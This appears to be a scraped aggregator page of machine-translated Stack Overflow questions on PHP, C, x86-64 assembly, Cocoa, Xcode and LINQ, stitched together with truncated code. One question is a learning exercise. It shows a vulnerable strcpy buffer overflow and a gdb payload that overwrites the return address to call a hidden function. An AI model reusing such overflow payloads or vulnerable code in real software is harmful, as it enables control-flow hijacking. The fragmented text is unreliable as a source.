我有这个代码:
$a = array ('zero','one','two', 'three');
foreach ($a as &$v) {
}
foreach ($a as $v) {
echo $v.PHP_EOL;
}
Run Code Online (Sandbox Code Playgroud)
有人可以解释为什么输出是:零一二二.
来自zend认证学习指南.
我目前正在寻找一种在Windows下从C代码(无C++)获取回溯信息的方法.
我正在构建一个跨平台的C库,带有引用计数内存管理.它还有一个集成的内存调试器,提供有关内存错误的信息(XEOS C Foundation Library).
发生故障时,将启动调试器,提供有关故障的信息以及所涉及的内存记录.
在Linux或Mac OS X上,我可以查找execinfo.h
以便使用该backtrace
功能,因此我可以显示有关内存故障的其他信息.
我在Windows上寻找同样的东西.
我已经看过如何在C中获取堆栈跟踪?在Stack Overflow上.我不想使用第三方库,所以CaptureStackBackTrace
或者StackWalk
函数看起来不错.
唯一的问题是我只是不知道如何使用它们,即使使用Microsoft文档.
我不习惯Windows编程,因为我通常在兼容POSIX的系统上工作.
对这些功能有什么解释,也许是一些例子?
编辑
我现在正在考虑使用这个CaptureStackBackTrace
函数DbgHelp.lib
,因为似乎开销有点少......
这是我到目前为止所尝试的:
unsigned int i;
void * stack[ 100 ];
unsigned short frames;
SYMBOL_INFO symbol;
HANDLE process;
process = GetCurrentProcess();
SymInitialize( process, NULL, TRUE );
frames = CaptureStackBackTrace( 0, 100, stack, NULL );
for( i = 0; i < frames; i++ )
{
SymFromAddr( process, ( DWORD64 )( …
Run Code Online (Sandbox Code Playgroud) 我目前编码的一些C99标准库字符串函数高度优化的版本,例如strlen()
,memset()
等等,采用x86-64的组件,SSE-2指令.
到目前为止,我已经在性能方面取得了很好的成绩,但是当我尝试优化更多时,我有时会遇到奇怪的行为.
例如,添加或甚至删除一些简单的指令,或者只是重新组织一些用于跳转的本地标签会完全降低整体性能.在代码方面绝对没有理由.
所以我的猜测是代码对齐存在一些问题,和/或有错误预测的分支.
我知道,即使使用相同的架构(x86-64),不同的CPU也有不同的分支预测算法.
但是,在开发x86-64的高性能时,是否存在一些关于代码对齐和分支预测的一般建议?
特别是关于对齐,我应该确保跳转指令使用的所有标签都在DWORD上对齐吗?
_func:
; ... Some code ...
test rax, rax
jz .label
; ... Some code ...
ret
.label:
; ... Some code ...
ret
Run Code Online (Sandbox Code Playgroud)
在前面的代码中,我之前应该使用align指令.label:
,例如:
align 4
.label:
Run Code Online (Sandbox Code Playgroud)
如果是这样,使用SSE-2时是否足以对齐DWORD?
关于分支预测,是否有一种"优先"的方式来组织跳转指令使用的标签,以帮助CPU,或者今天的CPU是否足够聪明,可以通过计算分支的计数来确定在运行时?
编辑
好的,这是一个具体的例子 - 这是strlen()
SSE-2 的开始:
_strlen64_sse2:
mov rsi, rdi
and rdi, -16
pxor xmm0, xmm0
pcmpeqb xmm0, [ rdi ]
pmovmskb rdx, xmm0
; ...
Run Code Online (Sandbox Code Playgroud)
使用1000个字符串运行10'000'000次约为0.48秒,这很好.
但它不会检查NULL字符串输入.显然,我会添加一个简单的检查:
_strlen64_sse2:
test rdi, rdi
jz .null
; ... …
Run Code Online (Sandbox Code Playgroud) 我正在尝试检查我的一些代码是否存在严格的别名违规,但在尝试理解严格的别名规则时,我似乎错过了一些东西.
想象一下以下代码:
#include <stdio.h>
int main( void )
{
unsigned long l;
l = 0;
*( ( unsigned short * )&l ) = 1;
printf( "%lu\n", l );
return 0;
}
Run Code Online (Sandbox Code Playgroud)
经典和基本的例子.使用GCC 4.9(-Wall -fstrict-aliasing -Wstrict-aliasing -O3
),它实际报告错误:
dereferencing type-punned pointer will break strict-aliasing rules
Run Code Online (Sandbox Code Playgroud)
但以下编译很好:
#include <stdio.h>
int main( void )
{
unsigned long l;
unsigned short * sp;
l = 0;
sp = ( unsigned short * )&l;
*( sp ) = 1;
printf( "%lu\n", l );
return …
Run Code Online (Sandbox Code Playgroud) @param在创建课程时意味着什么?据我所知,它用于告诉脚本变量是什么类型的数据类型以及函数返回的值类型,是吗?例如:
/**
* @param string $some
* @param array $some2
* @return void
*/
Run Code Online (Sandbox Code Playgroud)
是不是有另一种方法可以做到这一点,我想的是:void function() { ... }
或类似的东西.对于变量,可能(int)$ test;
UIView有一个setNeedsDisplay
方法,可以在同一个事件循环中多次调用,安全知道重绘工作很快就会发生,而且只有一次.
Cocoa有这种行为的通用机制吗?一种说法,"按照你喜欢的方式多次排队一个选择器,当它的时候,选择器将运行一次并清除队列."
我知道我可以通过目标中的某种状态跟踪或使用NSOperationQueue来执行此操作.我只是想知道是否有一种我错过的轻量级方法.
(当然,答案可能是"不".)
我的Xcode 4(iOS 4.3 SDK)项目中有一些静态库.当我存档项目时,我在工具尝试剥离符号时收到以下错误.我有与Xcode 3.2相同的设置.我注意到如果我将构建设置中的"条带样式"选项从"所有符号"更改为"调试符号",则存档已成功构建.
Command /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/strip failed with exit code 1
Run Code Online (Sandbox Code Playgroud)
如上所述,我没有从3.2更改此设置,所以我想知道如何解决这个问题?
谢谢
为了我的学习,我尝试创建一个有效载荷,使其溢出缓冲区并调用一个名为"目标"的"秘密"函数
这是我用于在i686上进行测试的代码
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
任务1:创建有效负载以便调用target().通过将EIP替换为目标函数的地址,这很容易做到.
这是缓冲区的外观
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
Run Code Online (Sandbox Code Playgroud)
我使用的有效负载是:
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)
这样可以正常工作,但会因分段错误而停止.
任务2:以不会导致分段错误的方式修改有效负载
这是我被困的地方.显然它会导致分段错误,因为我们不使用调用指令调用目标,因此没有有效的返回地址.
我试图在堆栈上添加返回地址,但这没有帮助
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
Run Code Online (Sandbox Code Playgroud)
也许有人可以帮我解决这个问题.可能我还要添加保存的主要EBP?
我附上了程序的objdump
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec …
Run Code Online (Sandbox Code Playgroud) 如何使用LINQ to SQL忽略对SQL Server数据库的查询中的重音(如',`,〜)?
更新:
仍然没有想出如何在LINQ中做到这一点(或者即使它可能)但我设法改变数据库来解决这个问题.只需要更改我想要搜索的字段的排序规则.我的整理是:
SQL_Latin1_General_CP1_CI_AS
Run Code Online (Sandbox Code Playgroud)
CI表示"Case Insensitive"和AS表示"Accent Sensitive".只需将AS改为AI,使其成为"Accent Insensitive".SQL语句是这样的:
ALTER TABLE table_name ALTER COLUMN column_name column_type COLLATE collation_type
Run Code Online (Sandbox Code Playgroud) 我想要添加几天的日期,我有很多代码,但是没有一个代码在我看来下面显示的是我的代码,请有人帮我解决这个问题
int daysToAdd=[[appDlegateObj.selectedSkuData
objectForKey:@"Release Time"] intValue];
NSTimeInterval secondsForFollowOn=daysToAdd*24*60*60;
NSString *dateStr=[contentDic objectForKey:@"Date"];
NSDateFormatter *dateFormatter=[[NSDateFormatter alloc]init];
[dateFormatter setDateFormat:@"yyyy-MM-dd"];
NSDate *dateFromString=[[NSDate alloc]init];
dateFromString=[dateFormatter dateFromString:dateStr];
[dateFormatter release];
NSDate *date=[dateFromString dateByAddingTimeInterval:secondsForFollowOn];
Run Code Online (Sandbox Code Playgroud) c ×3
ios ×2
iphone ×2
objective-c ×2
php ×2
assembly ×1
backtrace ×1
c99 ×1
class ×1
cocoa ×1
cocoa-touch ×1
gcc ×1
linq ×1
linq-to-sql ×1
nsdate ×1
param ×1
performance ×1
sql-server ×1
sse2 ×1
windows ×1
x86 ×1
x86-64 ×1
xcode4 ×1